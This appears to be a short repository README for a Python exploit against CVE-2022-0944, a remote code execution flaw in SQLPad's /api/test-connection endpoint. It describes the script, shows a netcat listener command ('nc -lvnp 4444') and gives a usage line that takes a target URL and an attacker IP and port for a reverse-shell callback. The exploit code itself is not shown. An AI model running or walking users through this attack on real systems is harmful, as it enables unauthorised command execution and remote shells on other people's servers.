
Python exploit for CVE-2022-0944 enabling blind remote code execution in SQLPad through the /api/test-connection endpoint with netcat callback.
This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution (RCE) via the /api/test-connection endpoint.
The provided script (exploit.py) demonstrates how to exploit the RCE vulnerability in SQLPad. The script sends a payload to the vulnerable endpoint, executing a command on the target server.
requests library (can be installed via pip)nc -lvnp 4444
Run the Exploit
python exploit.py <sqlpad_url> <attacker_ip> <attacker_port>